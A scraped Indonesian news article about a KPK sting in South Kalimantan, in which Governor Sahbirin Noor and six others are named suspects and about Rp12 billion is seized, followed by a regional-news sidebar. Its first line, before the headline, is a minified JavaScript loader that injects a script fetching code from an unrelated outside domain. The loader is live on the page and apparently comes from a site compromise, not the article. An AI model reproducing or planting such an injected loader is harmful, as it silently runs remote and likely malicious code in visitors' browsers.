(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Uang ‘Jatah’ Proyek Rp12 Miliar dan US$500, Ada Kardus Kuning Paman Birin


KANALKALIMANTAN.COM, JAKARTA – Tim satgas Komisi Pemberantasan Korupsi (KPK) mengamankan uang miliaran rupiah dan pecahan dolar Amerika Serikat (AS) saat operasi tangkap tangan (OTT) di Kalimantan Selatan (Kalsel).

Tujuh orang yang ditetapkan sebagai tersangka oleh KPK yakni Gubernur Kalsel Sahbirin Noor (SHB), Kadis PUPR Kalsel Ahmad Solhan (SOL), Kabid Cipta Karya sekaligus PPK Yulianti Erlynah (YUL), pengepul uang Ahmad (AMD), Plt Kepala Bagian Rumah Tangga Gubernur Kalsel Agustya Febry Andrean (FEB), pihak swasta Sugeng Wahyudi (YUD), pihak swasta Andi Susanto (AND).

Baca juga: Gubernur Kalsel Disebut Terima Uang Komitmen Fee dari Tiga Proyek PUPR

“Bahwa terhadap sejumlah uang lainnya yang ditemukan oleh penyelidik KPK pada YUL, FEB, dan AMD dengan total sekitar Rp12 miliar (Rp12.113.160.000) dan US$ 500,” kata Wakil Ketua KPK, Nurul Ghufron saat konferensi pers di gedung KPK, Jakarta, Selasa (8/10/2024) siang.

Uang tersebut diamankan dari sejumlah pihak mulai dari Ahmad (AMD), Yulianti (YUL), dan Agustya Febry Andrean (FEB). Salah satunya yakni kardus warna kuning bertuliskan dan foto Paman Birin yang isinya mencapai ratusan juta rupiah, diamankan dari Ahmad (AMD).

“Bahwa terhadap sejumlah uang lainnya yang ditemukan oleh penyelidik KPK pada YUL, FEB, dan AMD dengan total sekitar Rp12 miliar (Rp12.113.160.000) dan US$ 500,”.

Baca juga: Terpidana Korupsi Mantan Bupati HST Abdul Latif Ajukan PK

“Satu buah kardus kuning dengan foto wajah Paman Birin berisikan uang Rp800 juta,” ungkap Ghufron.

Disebutkan Ghufron, ada satu kardus cokelat berisi uang Rp1 miliar. Uang tersebut merupakan fee 5% untuk Sahbirin (SHB) dari Sugeng Wahyudi (YUD) dan Andi Susanto (AND) terkait pekerjaan yang mereka dapatkan yaitu pembangunan kolam renang kawasan olahraga terpadu, dan pembangunan gedung Samsat.

Sedangkan uang Rp12 miliar serta US$ 500 merupakan bagian dari fee 5% untuk Sahbirin (SHB) terkait pekerjaan lainnya di Dinas PUPR Kalsel. (Beritasatu.com/Kanalkalimantan.com/kk)

Editor: kk


Muhammad Andi

Recent Posts

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

5 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

6 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

9 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

9 jam ago

UMP dan UMK Kalimantan Barat 2026 Terendah se-Kalimantan, Cukup untuk Biaya Hidup?

Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More

10 jam ago

Daftar UMP 2026 Setiap Provinsi Indonesia Lengkap Beserta Kenaikannya!

Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More

10 jam ago

This website uses cookies.